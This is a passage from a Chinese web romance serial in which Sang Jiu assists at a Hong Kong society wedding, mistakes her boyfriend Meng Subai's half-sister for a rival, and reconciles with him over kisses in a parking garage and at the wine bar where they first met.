贺伊琳这才拿出一份婚宴流程,指尖点了点那沓厚厚的资料。 “想一天学会晚宴策划是天方夜谭,更何况……”她语气顿了顿,直言,“桑小姐并非这个圈子的人,学了也无处可用。” “我知道,就权当是为了朋友,尽一份力吧。” “行,那给你十五分钟,把今天的流程按照顺序一字不漏,全部记下,我就破例让你给我做一天助理。” 贺伊琳抬起手腕,看了眼时间,示意开始。 桑酒接过,目光专注地扫过那些条目分明的流程,深吸一口气,接下了这个挑战。 所幸,她也最终挑战成功了,赢得了贺伊琳的刮目相看。 “作为活动策划人,需要一个强大的记忆力,一场活动的每个细节都要在脑海呈现。从迎宾区鲜花的摆放角度,到主桌宾客的饮食禁忌;从背景音乐切换的精确秒数,到突发状况的备用方案……无数碎片必须在脑海中汇成清晰的图景,随时调取,分毫不差。这不仅是专业,更是一种无声的承诺——对完美体验的执着守护。” 贺伊琳顿了顿,目光虽仍投向别处,话却细致起来。 “真正的顶级晚宴,感官体验是环环相扣的。除了显而易见的餐酒搭配、菜单时序、座位动线这些骨架,大到一扇窗帘、一张地毯,小到桌上的餐垫、杯盏都需得相得益彰,才能令人耳目一新——” 桑酒听得入神,立刻从包里翻出一支笔,抬头看向贺伊琳,眼里带着询问:“Elaine姐,我能在上面做笔记吗?” 贺伊琳明显一愣,没想到这样清纯美艳的姑娘,竟然自带傻气。 她嘴角几不可察地动了一下,最终只微微抬了抬下巴,算是默许- 从休息室出来后,桑酒就一直跟在贺伊琳身边,两人气质相当,艳丽双绝,一黑一白,倒十分养眼,与宴会厅里身穿高定礼服的姑娘们不相上下。 只不过贺伊琳面色冷峻,桑酒却仿佛自带朝气,她向贺伊琳请教问题时,全程都是笑盈盈的,高冷中带着些甜美,外加一张明媚的脸,饶是贺伊琳这种冰川美人也不忍心给她甩脸子,说话都是耐心十足,还会不自觉放下高高架子,语气温柔是从未有过。 两人穿过长廊,朝宴会大厅走去,与侧面走来的一行人不期而遇。 贺老爷子领先,与孟老爷子并行,孟苏白和贺煜跟在两位长辈身后,中间并行着两位身穿礼服的姑娘,贵气优雅,各自挽着对方的手臂。 很显然,那是孟苏白和贺煜的女伴。 孟苏白挽着的那位,看着还有些眼熟,只是桑酒一时没有想起来,脸上笑容也逐渐消失。 怔楞间,贺伊琳已经迎面过去,脸上挂起了职业的微笑,与孟老爷子和孟苏白打招呼,询问今日晚宴感受。 桑酒站在两步远的距离,看着他们谈笑风生,一不小心又与孟苏白投过来的视线对上,她连忙目光转移,抱着笔记本的手紧了一紧,试图降低自己的存在感。 却猝不及防又撞上一旁神色庄严、目光矍铄的孟老爷子,心更是漏了半拍。 虽然素不相识,但知道他是孟苏白最敬重的爷爷,桑酒还是不自觉多停留了两秒,仿佛在凝望一座遥远的彼岸,透过她那双如同蒙了一层柏林之雾的眼眸。 那一眼其实极其短暂,桑酒生怕惊扰到这位老人家,一个礼貌周到的微笑,和恭敬十足的鞠躬,如酒店里其他普通员工一样。 她没有瞧见孟苏白的目光,一直温柔落在她身上,只觉得顷刻间,所有勇气都消失。 直到贺伊琳推开宴会厅大门,请两位老爷子先进去,又忽然转头看向贺煜,说着粤语。 “阿煜,我等会儿要上台致辞,你自己照顾好Romy。”说罢,又看了一眼他身旁的女人,摇了摇头,“我不明白你,有这么漂亮的小玫瑰,为什么还要另找女伴呢?什么品位!” 挽着贺煜手臂的姑娘瞬间脸一黑,可没有谁敢怼贺二小姐,因为没有谁有她嘴毒。 所以她只能把怨恨的目光扫向桑酒。 孟苏白手握拳,放在唇边轻咳一声,随即半眯着眸看向贺煜。 贺煜也是被吓坏了,一脸斩钉截铁解释:“阿姐,我跟Romy是正正经经的朋友关系,你别乱点鸳鸯谱哦!小心我被人……” 今天是个大喜日子,不宜乱说话,他只偷偷做了一个抹脖子的动作。 贺伊琳挑了挑眉,目光无意扫过孟苏白。 心中不禁一笑。 平日八风不动闲庭信步的孟三少,眼底竟会流露出无法掩饰的占有欲。 她目光又落向桑酒身上。 桑酒被盯得有些心虚,正想开口解释什么。 一旁挽着孟苏白手臂的姑娘声音娇俏可爱:“Carson,你除了怕Kings,还会怕谁呢?” 转而又看向桑酒,一脸好奇。 “这么漂亮的姐姐,真的是你朋友?不给介绍介绍?” 桑酒对上那姑娘漂亮的眸子,只觉这姑娘一张精致的娃娃脸真可爱,带点婴儿肥看着就想捏一捏,五官贵气,一看就是被家人养得很好的女孩,像捧在手心的公主。 与孟苏白站在一起,倒是十分登对。 桑酒表面微笑,波澜不惊。 那些似懂非懂的话,让她知道他们是在讨论她,却不知讨论什么。 这感觉,不太好。 她暗地里下决心,回去后一定要孟苏白再教自己一些粤语,当年会的那几句,已经全部忘光了。 正发呆时,贺煜忽然笑了一声,朝她说起了普通话。 “来,Romy,我给你介绍一下。”他一一指了过去,“这是Sibyl,这是Vicoria,这是Kingsley。” 从未见过如此潦草的介绍。 说了跟没说一样。 桑酒很想给他翻一个白眼,然而贺伊琳提前替他翻了。 “你还是滚回你的太平洋去吧!” 桑酒终于没忍住,破功了。 她弯着唇低下头。 再抬眸时,余光对上孟苏白亦温柔含笑的视线。 却在下一秒,落到那位珠光宝气的姑娘搭在他臂弯上的手,又忽然笑不出来了。 那对她亲自替他戴上的,镶了蓝宝石的十字鸢尾花袖扣,正被少女的无名指压下- 这场婚礼进行得很唯美,空气中都弥漫着老钱风的味道。 桑酒今天是真学到了不少东西,也大开了眼界,贺伊琳把该教的东西都教了她后,又给了她联系方式,方便以后有问题随时请教,才功成身退,让她回休息室休息。 “阿煜他今晚挡酒喝得酩酊大醉,说是安排了人会来接你。” 安静的休息室里,桑酒窝在沙发,整理资料和心得,可整着整着,情不自禁想起了孟苏白。 想起他在晚宴上矜贵的身影,想起站在他身旁端庄明艳的姑娘,两人站在一起俨然是千金大小姐与她的豪门未婚夫,那些他帮她整理裙摆、牵她手腕上台阶,甚至是悄悄换下她酒杯的温柔绅士画面,铺天盖地钻入了她的脑海,令她无法再思考。 也是这一瞬,她忽然想起这位大小姐是谁了—— 三禾提过,她粉上了一位港圈女明星,长得漂亮演技好,真豪门千金。 桑酒去搜了一下,还真给对应上了。 她不自觉去猜想他们的关系,却又不敢细想有朝一日,他们也会如同今日那对新人一样,在高朋满座中,身穿千万级别的婚服,牵着手走向婚宴的殿堂,那些有关豪门联姻、天作之合、神仙伴侣的字眼出现在新闻各大版块,在她无意中打开手机时映入眼帘。 握着笔的手指因为太用力而泛白,就连指甲深深陷入掌心,也毫无知觉。 骤然间,她从那个自信从容的助理Romy,变成平凡普通的过客桑酒。 心脏无端抽痛,转瞬间传遍四肢百骸。 桑酒凭着最后一丝清醒松开笔,掌心的指甲印触目惊心,她只是轻轻撩开衣袖,目光落在时光正悄然流逝的腕表上,继而抬起眸,扫过房间里的每一寸,宝蓝、珊瑚橘和芥末绿的色彩十分亮眼,丝绒质感和木质的百叶屏,处处都透露着英式复古老钱与南洋风情的融合,她就像穿梭在一段繁华旧时光里,最后透过落地窗,她望向窗外绝美的维多利亚海港景观,繁华而宁静的蓝调时刻,仿佛四年前未醒的一场梦。 是的,在烟火浓烈的夜巷,蓝宝石的袖扣与鎏金璀璨的奢华礼服会令她觉得嫉妒,觉得窒息难受。 因为这些东西本就属于维港的顶层套房、璀璨的夜、金钱的风…… 孟苏白也是。 桑酒抱着臂膀,全身冰冷僵硬蜷缩在真皮沙发里,思绪在漫长等待的时光里爆发,几近崩溃。 她翻出孟苏白给她发的消息。 「Elaine有为难你吗?」 「给你准备了一双平底鞋放在前台。」 「记得吃点东西,别饿着了。」 「为什么哭了?」 「难道是被新人感动了?」 …… 「我愿意。」 恍惚间,厚重的门忽然由外到内吱呀打开。 有人推门而入。 裹挟着甜蜜的风霜与清冷月光。 桑酒从臂弯中抬起眸,目光迷蒙望去。 隐约瞧见,是今晚站在孟苏白身旁的那位女明星。 如果没记错的话,她的名字很好听。 Vicoria。 维多利亚—— 作者有话说:猜猜是谁[狗头叼玫瑰] 猜中有奖[坏笑] 第55章 “Hi!桑桑姐。” 身穿鎏金璀璨礼服的少女朝她奔来, 一脸兴奋,软软甜甜的普通话像羽毛轻抚,“Kings让我来接你。” 桑酒的思绪从悲伤中抽出来, 看她的神情略带复杂, 啼笑皆非。 孟苏白让他的女伴, 来接她? 桑酒心里有股说不出的堵, 但面对眼前热情漂亮的女孩儿, 她尽量让自己的笑容看起来无懈可击。 她没有喊自己Romy,而是桑桑,基本可以肯定的确是孟苏白的意思。 “谢谢你, 令小姐。”她客气说道, 起身打算去收拾东西。 “令小姐?”Vicoria有些惊讶,随即笑着说, “桑桑姐, 你可以直接喊我令羽的。” “……好,”桑酒挂起一丝尴尬的笑,又说,“其实不用麻烦你跑一趟的, 我自己可以定酒店……” “那怎么行?”令羽摇头, 笑容又纯真,盯着她上下打量,眼里都是欢喜的模样。 桑酒被盯得有些不好意思了, 摸了摸自己脸颊:“怎么了?我脸上有东西?” “没有呀, 只是觉得, 你和我想象中一样漂亮!难怪……” 桑酒不禁愣住。 “难怪什么?” 令羽立马捂住嘴:“Sorry,这是个秘密!但我真的很喜欢你!” 不知怎的,不过三两句话, 桑酒就感觉自己要被她哄成胚胎了。 怎么和传闻中的不太一样呢? 不都说她是高冷女神吗? 她这样热情,会让她觉得…… 桑酒下意识从胸前西装口袋摸出一支笔。 “那个……令羽,其实我闺蜜很喜欢你,可以帮她要一个签名吗?” 既然来都来了,那帮三禾兄要个签名不过分吧? “当然!”令羽飞快地接过笔,甚至有些欣喜,“签哪儿?” 桑酒第一次追星,完全没有反应过来,她低头看了一眼桌上的笔记本。 好像有点潦草,不太重视呢。 “要o签吗?我可以写一句话送给她。”令羽已经熟练地从包里翻出几张写真,递给桑酒,“桑桑姐,你选选,喜欢哪张?” 桑酒一时眼花缭乱,手指摇摆不定。 “好难选,每张都好好看。” 她由衷夸奖。 小姑娘一双忽闪忽闪的大眼睛,顿时微眯,可爱到迷人。 桑酒一怔,然后想起来了:“她最喜欢你微笑的时候了,那就这张吧!” “OK,名字呢?” “三禾兄。” “三禾兄?”令羽觉得这个称呼很稀奇,一边俯身就着桌边写,一边笑。 桑酒解释:“她性格比较女汉子,豪爽。” 小姑娘好像对什么都感兴趣:“真想认识桑桑姐的闺蜜。” 说罢,又问:“写什么祝福语呢?” “祝她……暴富暴美,手气爆棚!” “好,”令羽一边写,一边说,“o 三禾兄:祝你暴富暴美,手气爆棚! ” 签完落下自己的艺名,又问桑酒:“还需要吗?” “那就给我妹妹也签一张吧!”桑酒补了一句,“她也喜欢你。” “OK!那桑桑姐再挑一张吧。”令羽似乎很热情,“名字,内容。” 桑酒没有客气,又挑了一张比较高冷的。 “o 桑月小妹妹:祝你爱情美满,永远幸福。” “有姐姐真幸福!”小姑娘一脸羡慕,签完落笔,又眨巴着眼看着她,“桑桑姐,你呢?” “我?” “对啊,桑桑姐不喜欢我吗?” 桑酒:“……” 这感觉,太奇妙了。 “我不追星……” 眼见那张可爱的娃娃脸皱成小猫咪,她有种不忍她伤心的冲动。 “但……我很喜欢你!” “我也很喜欢桑桑姐!o签内容我自己发挥可以不?” 桑酒内心残存的最后一点试探和嫉妒,全在一声声甜蜜蜜的声音里消失得无影无踪了,她低头去看桌上的明信片,小姑娘写得一手漂亮的繁体字。 o 桑桑姐:愿你历尽千帆,得偿所愿!- 直到被带上一辆豪华的保姆车,桑酒依旧云里雾里。 她不知道令羽要带自己去哪儿,想发信息问孟苏白,却因为一股莫名的怨气,暂时不想搭理他,只能憋着,朝窗外望去。 八点钟。 正是港城最热闹的时候,熙熙攘攘的皇后大道,不禁让人想起四年前那个难忘的夜晚。 身边的少女很热情。 “我听Kings说,桑桑姐在海城开了一间葡萄酒酒馆,下次我去海城拍戏,能找你喝酒吗?” “Kings平常都不喜欢我去酒吧喝酒,但听说我要去你的酒馆,竟然答应了!” 听起来,还很黏孟苏白。 桑酒的笑容逐渐僵硬。 原来他们关系如此亲密,几乎是无话不谈了。 也不知道,他们是怎么做到心平气和谈论起她这个第三者的。 是的,桑酒此刻觉得,自己就是个跳梁小丑。 车子很快在一座高档小区的地下停车场停下,车门被拉开。 “去吧,桑桑姐,祝你有一个愉快的夜晚。”小姑娘弯着腰,朝她低语笑。 桑酒下了车,有些失神:“你不一起吗?” “这种事情,我怎么好在场呢?”她摆手笑,“下次见,桑桑姐。” 车门被关上,继而驶离停车场。 果然是真正的豪门千金,肆意洒脱有底气,从不会把对手放在眼里呢。 桑酒站在原地,望着扬长而去的车子,手里的晚宴包被捏得很紧,一股挫败和低落的情绪猛地从胸口升起,她发现自己好像都不会笑了。 她其实早有心理准备的,像他这样的身份,有联姻对象很正常的。 只是没想到,会是这样强大又无可指摘的对象。 他们真的很般配。 桑酒想起晚宴上两人携手同行的画面。 他的目光那样温柔体贴。 那为什么中途还要不断给她发信息呢? 新郎新娘宣誓时,他那句“我愿意”,又在暗示什么? 他应该承诺的对象,不应该是被他挽在手里的姑娘吗? 一个接着一个的疑惑从脑海里蹦出,桑酒发现自己不知道什么时候开始,无法控制自己的思想了。 不应该是这样的。 她应该像三禾说的那样洒脱一些,只是谈恋爱而已,各取所需即可! 管他以后要跟谁结婚!只要他现在还没有宣布结婚,他就是她的! 正出神时,听到身后不远处传来一阵车喇叭声,又短又急促,显然是在跟她打招呼。 桑酒循声偏头望过去,是一辆黑色兰博基尼。 有点酷。 男人更是身高腿长优雅倚在车头,目光温柔望向她。 简单的白衬衫黑西裤,清儒俊雅,贵气轩然。 “泱泱。” 停车场光线昏暗,桑酒看得并不清楚,可当孟苏白朝自己张开双臂的一瞬,她忽然不想计较那么多了,眼底涌现片刻酸涩,抬腿小跑了过去。 孟苏白将人严严实实搂入怀,在她眉心落下一个吻。 “辛苦了……” 他低头去看她,不料被反手一压,摁在车上。 青涩的吻胡乱落下,堵住了他的话。 柔软的唇紧贴着他的唇,唇舌火热,横冲直撞,毫无技巧,齿间一阵磕碰,孟苏白尝到一股血腥味,可桑酒完全没有停下来的意思,仿佛只是想借这些疼痛确认什么,将他身子压得愈低,他整个人几乎躺在车身。 孟苏白感觉到她的情绪低落,掐着他的手臂也越紧,像是在不停跟他索吻。 他没有迟疑,一手撑着车头,一手搂着腰将她稳住,张唇接纳她所有的不安和急躁。 “咬我,泱泱……” 唇微微分开时,孟苏白哑声提醒,不想让她再次伤了自己。 桑酒眼神迷茫,带着一丝她自己都没有察觉的迷恋,垂眸望着他。 他是她的。 至少此时此刻,是她的。 “怎么了?” 回应孟苏白的,是唇角一阵刺痛。 咬得有些狠,像是要在他唇上留下永远的痕迹。 更加浓烈的血腥味在齿间蔓延,孟苏白却丝毫不觉痛,心底甚至蔓延出一种难以言喻的感觉,擒着她腰肢的手,微微收紧。 “泱泱……” 他第一次觉得自己要失控了,脑中竟然不自禁划过一个极不绅士的念头。 如果在这里做了什么不可控的事情,停车库的摄像头,会不会拍到? 很快,少女柔软的唇又慢慢迁移,从唇角到耳后,再到脖颈,她扯开他的领带往下,一路吻,一路吮,偶尔调皮叼起他冷白的肌肤,肆意啃着,留下一排整齐的牙印。 孟苏白闭上眸,任凭她发泄,又十分克制着恨不能将她揉进身体的冲动。 主动起来的她,着实磨人。 他应该在房间里等她。 而不是在这空旷的停车场- 也不知道过了多久,颈间酥麻的啃咬骤然结束。 孟苏白抵在车身上的修指几乎折出血色来。 也许继续被亲下去,贺煜这辆拉风的车,明天就要被送去4S店。 桑酒捂着脸在他怀里发起抖来,像极了酒后乱性的姑娘,醒来时又要不认账的样子。 孟苏白没有惯着她,他搂着她一个翻身,转眼间将她抱上了车身坐好,手撑在两侧,俯身盯着她。 眼底被她勾起的欲,还未完全褪尽。 “告诉我,发生什么事了?”嗓音沙哑得,仿佛刚刚那些凶狠锐利的吻,吻在他声带上。 桑酒低着头,不肯看他,只是摇了摇头。 “没什么,就是……想吻你了。” 孟苏白若有似无地笑了一声,浓郁化不开的视线望进她眼底:“泱泱,你知道你撒谎的时候,是什么样子吗?” 桑酒脑子一懵,抬头看他,有些破罐子破摔。 “什么样子……” 却在一眼撞见他脖颈间她的杰作后,直接石化了。 那冷白肌肤上,深红带着血色的草莓印越发明显,横七竖八的牙印更是不忍直视,还泛着一片水光。 就连那原本洁白如雪一丝不苟的白衬衫衣领,也一片狼藉,全是她的口红。 桑酒呆住了,觉得自己是魔鬼,竟将她的神明如此亵渎。 孟苏白也没有回答,而是直接低头吻她。 什么样子? 全身上下嘴最硬的样子,让人只想狠狠吻她!融化她! 他掌心用力贴着她的后脑勺,舌尖毫不客气地抵了进去,像是要反击刚才她的肆意掠夺。 桑酒抬起手,攀着他脖颈,迎了上去。 即便刚才已经吻到唇舌麻木,也丝毫不影响它们舌面相贴,绞着,咬着,恨不能成为彼此,代替彼此。 也许是确定她内心的焦躁不安皆数散去,孟苏白终于停了下来,与她眉心相抵,看她微微喘气,目涩神离的模样。 “泱泱,我们之间,不要有任何猜忌和隐瞒,好不好?”他火热的掌心逐渐移到她颈侧,指腹揉着她耳垂,微微闭眼感受她身上的香气,“四年前的教训,还不够吗?” 他也在害怕。 “孟苏白……”桑酒低声呜咽了一句,双手环在他腰间,抱得很紧,却还是抵不住心脏被攥揪的痛。 三禾说得没错,身份悬殊的恋爱,谈起来就是要人命。 听着她难过的哽咽声,孟苏白的心也刺痛了一下。 “泱泱,我无法忍受我们再分开,所以,告诉我,在害怕什么?” 桑酒双手环在他腰间,缓缓抬眸,眼底的湿意无处可逃。 “我今天,看到你爷爷了。” “我知道。”孟苏白为她拭去眼尾的泪痕。 “他和我想象中,不太一样。” “怎么不一样?” “比我想象中,更加威严,更加不敢直视。” 要怎样形容那种感觉呢,就好像一片薄云偶然飘至巍峨的雪山面前,那山是千百年风霜凝成的威仪,每一道冰川的褶皱里都压着无声的重量,她不是不敢看,而是知道自己不过是山脚最浅的尘埃,雪山是她永远无法企及的天阶。 孟苏白却揉着她的脸颊,笑说:“阿爷只是表面看起来严肃,实则是个老小孩,四年前,他为了骗我回国,不惜谎称自己病重,我知道你在担心什么,泱泱,阿爷不在乎门第之见的,他当年力排众议娶了心爱之人,一生也只爱我阿嫲一人,而且我母亲……” 他停顿了一下,又继续说道。 “我母亲也是一名普通的女大学生,至于四年前的联姻,已经过去了,事到如今,我不想做的事情,他不会逼我的。” 桑酒仰着脸,张了张唇,不知道该说什么。 听起来,好像挺乐观。 孟苏白又亲了亲她水润红肿的唇:“你愿意的话,我现在可以带你去见他。” 桑酒瞪他:“不要。” “为什么?” 桑酒心底一紧:“……我,我还没准备好。” 她还没成为那个可以与他并肩的人,还没有勇气见他的家人。 虽然她不知道要到何时才有这个勇气。 但至少不是现在。 “而且……我看你阿爷应该是有中意的孙媳妇人选了,他肯定不会接受我的。” 桑酒脑海里回想起令羽和孟老爷子撒娇的画面,亲昵如同爷孙,谁看了不羡慕他孟苏白好福气。 孟苏白眸色微变,低声问:“谁?我怎么不知道?” 桑酒绞着他的衬衫面料,声如蚊蚋:“就……Vicoria啊,她那么漂亮可爱,我看了都喜欢,又懂事又和你门当户对,我觉得你阿爷肯定最中意这样的孙媳妇……” 好半晌,孟苏白倏地失笑,唇角勾着,点头沉着声:“Vicoria确实很可爱,我和阿爷都很爱她。” 桑酒顿时心如刀绞,愣是凭借着强大的意志力,才生生逼回蓄在眼底的泪水。 只可惜颤抖的身体,出卖了她的软弱。 孟苏白伸手,温热的指腹停在她眼睑。 炽热的泪水瞬间沿着他的指尖流出。 桑酒无力挣扎了一下,想抬头说自己没有关系,反正也没有抱着结婚的目的跟他谈恋爱。 孟苏白却像是很无奈地叹了口气。 “泱泱。” “撬人墙角的确有失风范,但乱。伦……我真心做不到。”—— 作者有话说:Kings:差点多了一项罪名。 第56章 乱什么伦? 桑酒整个人都傻了, 忘了还红得梨花带雨的眼眶,就这么僵在脑袋望着孟苏白。 虽然不比她蹂躏他来得凶狠,但她被他亲得也十分糟糕, 海藻般柔顺的发揉得凌乱, 泛着水光的眼尾与滚烫的脸颊都绯红得不像话, 唇微张, 轻喘着气, 被包裹在白色修身西装下的胸脯,随之起伏,合在他腰间的手也缠得很紧。 没有哪个男人能拒绝这样近距离的画面。 孟苏白宽厚的掌心贴在她脸颊, 指腹摸着她耳后, 温热的唇落在她眼尾,一点一点吻去她的泪, 笑容有些无奈:“泱泱, Vicoria是我小妹。” 小姑娘神情恍恍惚惚的,也不知道是否听到,唇瓣未动。 她出神时,总让人觉得神游天外。 孟苏白长叹一息, 扣着桑酒下巴, 唇狠狠含住她唇瓣用力吮了一下,将她神智带了回来。 “同父异母的,亲妹妹。” 亲完, 又捧起她的脸颊低低笑着。 他爱极了桑酒因为吃醋而不理智, 生出那些强烈的占有欲。 桑酒却羞愧得要死, 她竟然把醋吃到人亲妹妹身上去了! “丢死人了丢死人了!” 她一股脑埋进他胸膛,在他颈间使劲晃着脑袋,恨不能钻进去把自己封闭了。 孟苏白揉着她的脑袋发笑, 胸前被蹭得一塌糊涂,凑在她耳边轻言:“没关系,Vicoria不会介意。” 桑酒抬起脑袋,一脸愤怒望着始作俑者:“你为什么不早跟我介绍?” 回想刚刚一路过来的场景,她只能暗自庆幸,小妹妹性格太好,丝毫没有察觉她的敌意! 孟苏白挑眉,十分无辜:“冤枉啊,泱泱,是你强烈要求,我们要假装不认识的。” 骗子!明明在白天微信上发了那么多信息,他可以直接说明的!而且贺煜介绍的时候,也可以带一句的!害她白白伤心了一整天,还差点对着那么好的姑娘阴阳怪气,可恶! 桑酒觉得这两个男人就是故意的! “啊——” 她有些暴躁地用拳头锤他肩膀发泄,却只是让男人的闷笑更加低沉愉悦,胸腔震颤着,将她整个人都笼进那带着体温的笑意里。 桑酒真的生气了,一把推开他。 “走开。” 孟苏白唇角勾着,看美人嗔怒眸色渐深,声音也沉沉。 “暂时走不了。” “为什么?”桑酒虽然不想那么快原谅他,但还是被他忽然间一本正经的语气给唬住了,手下意识抚在他宽厚的背脊,感觉到那里滚烫如火。 孟苏白没有回答她,只是抬起左手松了下领带,虽然刚刚已经被她扯得完全不成型了。他刚等她的时候把外套脱在车上,只着了一件白衬衫,本来被她蛮不讲理的吻给亲得起了反应硬扛着,脖子上的灼热还未消散,此刻又满心满眼都是她梨花带雨的羞涩,和薄怒张扬的眉眼,独属于少女的玫瑰香甜扑鼻而来,柔软的掌心贴在背脊如同爱抚,他浑身肌肉都是紧绷的,将馥郁芳香的她压。在身。下,刚才差点不受控制的欲。念又从腹部燃起。 那里也绷得他发疼。 “你哪里不舒服吗?”桑酒见他皱了下眉,不免有些担心,以为刚刚自己咬他脖颈伤到大动脉了,掀起他的衣领就要凑过去看。 孟苏白抬手挡在她眉心,喉结滚了滚:“别乱动,泱泱。” 他顿了一下,声音无奈中有些宠溺:“不然今晚都走不了。” “我就看看……”桑酒没懂,声音轻如鸿毛,像在撒娇,一双雨后空濛的眼眸将他望着。 孟苏白默了两秒,不由分说扯下领带,干脆利落绑住了她的眼。 他不想让她看到自己此刻失态的模样,虽然是她惹的火,孟苏白怕自己会像四年前一样吓到她,尤其是一对上那双狐狸般狡猾又清澈的眸子,他知道自己会忍不住。 猝不及防眼前一黑,桑酒张着唇,声音因为视线被盖住莫名软绵起来:“孟苏白……” 回应她的是孟苏白又狠又深的吻。 他搂着她的腰几乎要将人捞起,整个人紧紧贴着自己身躯。 也是一瞬,桑酒失去视觉,感官骤然被放大,隔着西装面料,终于察觉到一丝异样——腰被热烫顶得生硬。 她脑子里轰然炸了一声,紧张得一动不敢动,被他亲得只有气息微喘:“唔……” “去车上等我,两分钟。” 吻了又好一会儿,孟苏白才放过她,伏在她肩颈深呼吸后,一把将她抱起,转身塞进了副驾驶。 似乎还拉开抽屉拿走了什么东西。 剪刀门缓缓落下,隔绝了一切,包括孟苏白的气息。 桑酒坐在车里如坐针毡,又感觉这两分钟尤其漫长。 她实在忍不住了,拉下领带,漏出一角偷偷看去。 昏暗视线里,男人靠在引擎盖上,由于跑车车身不高,他坐姿尤为慵懒,像是叠着长腿,一手夹着烟竖起,一手撑着手肘,偶尔漫不经心抽两口。 即便只是一个背影,桑酒也能感觉到他心情很愉悦。 原来,被人这样克制地爱着,是这样的甜蜜。 桑酒将领带拉了回去,乖乖坐好。 嘴角却是忍不住上扬- 那支烟孟苏白只抽了一半,散了身上的烟味后,他才回到车上。 听到动静的桑酒转过头来揶揄:“你超时了。” 孟苏白笑了一声,抬手摘了她眼上的领带,唇边的笑容愈深:“谁让我们泱泱魅力大。” 桑酒只觉脸颊一烫。 本想撩人,不料反被将了一军。 她忍着笑转头看向前面,催促他:“你还走不走了?” 孟苏白语气有点无赖:“走不了。” “又怎么啦……”桑酒要被气笑了,一脸无奈回头看过去,却猛地一顿震惊,尾音被收回喉间。 孟苏白这人太坏了!故意扯开衬衫衣领,露出脖颈一片斑驳暧昧,让她看自己的杰作。 “泱泱告诉我,要怎么出去见人?”他笑着逼近她,非要讨个说法。 慌乱中,桑酒扯下套在脖子上的领带塞给他:“快点系好啦。” 孟苏白不接,只是偏头,含笑凝望着她。 桑酒腹诽,只能自己上手。 她第一次帮男人系领带,难免生疏,整理好他被糟践得凌乱的衬衫,手指穿梭精简,来回打了好几个结,都不太满意。 “我真不会……”桑酒实在没辙了,仰头一脸无辜跟他求饶。 孟苏白低头看着那不太正经的领带结,有点像小学生系红领巾,不禁笑出声。 揽着她脑袋低头狠狠吻了下去。 “那就罚你,慢慢学。”他坏笑着咬她的唇,“就像学接吻一样,每天实际操练一次。” 那本就红肿还未消退的唇,像刚洗净的草莓一样诱人,由他品尝过后,更加艳丽。 桑酒:“……” 怎么从前没发现,他这么霸道! 车子上了皇后大道西,拐弯开进干若道西,一路向西驰骋。 桑酒发现孟苏白开起跑车来,有几分年轻气盛的狂野,与平日所见的沉稳不大相同,她忽然很想看他玩帆船时的样子。 “想什么呢?” 孟苏白虽然目视前方,却能察觉她落在自己身上的视线有些痴迷,不禁笑问。 桑酒也不掩藏,干脆撑着下巴朝他凑近:“孟苏白,你玩帆船的样子,一定很帅!” “想看?” “嗯!” “下次带你去航海。” “真的吗?什么时候?” “明年六月份,德国基尔的年度帆船盛会,我资助的那支队伍会参赛,到时候可以带你在周边体验一下。” “哇哦!听起来好酷!”桑酒忍不住雀跃,又有些遗憾,“还有八个月,太难等了!” 孟苏白轻笑一声:“你是想看帆船比赛,还是想看我航海?” “当然想看……孟先生航海呀!一定魅力四射!荷尔蒙爆发!”桑酒夸起人来,毫不吝啬。 恰逢前方路口偶遇红灯,孟苏白踩下刹车后,撑着下巴朝她看去,眼含笑意:“想看荷尔蒙爆发,也不是非得等到明年。” 桑酒忍不住被勾起了好奇心:“什么时候?” 孟苏白挑眉:“今晚就可以。” “……” 桑酒愣了足足两秒,联系他上下两句话,才骤然明白他在说什么,顿时脸红得像煮熟的虾子,她别过头,捂着脸不肯看他。 孟苏白亦是盯着她的侧影笑而不语,爱极了她被捉弄后害羞的模样,要不是此刻红灯进入倒计时,他必要拉着她又吻上一吻。 车子随即驶进西区海底隧道往九龙方向,最终进入弥敦大道,在一处酒馆门前停下。 桑酒还未下车,便看到那熟悉的红色复古门头。 时光酒窖 & ime Cellar。 她惊讶了一声,还未等孟苏白来帮他开车门,便迫不及待开门下车跑过去。 还是四年前的样子,只是看着好像又不太一样,更阔气了些感觉。 “要不要进去看看?”孟苏白走到她身后,低声笑问。 “当然。”桑酒回头,笑语嫣然。 这是他们初次见面的地方。 是该来纪念一下的。 然而孟苏白刚帮她掀开门帘,迎面走来的侍应生看到他,立马恭敬打了声招呼。 “孟先生,您来了,我跟老板说一声!” “不用,”孟苏白却摆了摆手,“你们忙,我们找个位置随便坐坐。” 依旧是那一年的吧台位置。 直面那堵充满艺术的红酒墙。 他靠里,她在外。 不再隔着距离,而是相依,贴着腿,牵着手。 “你跟酒馆老板很熟?”在等待上餐的过程中,桑酒问起。 孟苏白也没有瞒她:“回国后经常来这里坐坐,想着也许有朝一日,能再遇见你,直到去年和老板一起喝酒时,无意得知因为生意不太兴旺,他打算关了酒馆。” “然后呢?”桑酒盯着他,有些难过。 “后来,孟生就给我投了一笔资金,帮我盘活了这间酒馆。” 身后忽然响起一道男人声音,虽然是普通话,但粤语味道十足。 桑酒回头看去,是一个蓄着短须的中年男人,看向孟苏白的目光充满感激。 “孟生,您来了,怎么不提前打声招呼,我给您留雅座。” “无须雅座,这个位置我就很喜欢,”孟苏白笑容浅淡,又问他,“最近生意可好?” “托您的福,一切都很好,”冯吉转而看向桑酒,不禁欣慰,“想来,这位就是您等了许多年的心上人桑小姐,恭喜您得偿所愿。” “嗯。”孟苏白眼底漾着温柔,给桑酒介绍,“泱泱,这位是酒馆老板,冯生。” “冯老板。” “桑小姐,终于见到您真人了,”冯吉放下餐酒,对桑酒表达了由衷感谢,“没有您,也没有今日的ime Cellar。” 桑酒眼神有片刻疑惑,对这份感谢有点不解。 冯吉也没有打扰他们的二人世界,笑着离开,只让他们有空常来,这个位置永远为他们留着。 孟苏白要开车,自然没有喝酒。 他给桑酒斟了半杯,让她尝尝。 是当年他介绍给她的蓝布鲁斯科,口感依旧清清甜甜的,入了肚却好像又添加了蜂蜜,甜得让人心情愉悦。 花了片刻时间,桑酒终于明白冯生刚才为何谢自己了。 “其实这些年,我很害怕来港城。” 害怕见到他,又害怕见不到他。 殊不知,他一直在原地等她。 “如果,你一直等不到我怎么办?” “泱泱,我向来喜欢做两手准备,等不到,就主动出击。” 桑酒捧着酒杯,盯着他不由傻笑。 孟苏白笑,唤了她一句“傻猪猪”,问她怎么了。 桑酒托着腮,一脸为难:“孟苏白,怎么办?” 孟苏白扬了扬眼尾。 “好想亲你。”她说得极其认真。 孟苏白只迟疑了两秒,当机立断低头吻住她。 轻缓的旋律,迷离的氛围,红丝绒与复古昏黄的灯光,映射着两道痴缠的身影。 酒的酸涩混着她的香甜,一起被卷入他口腹- 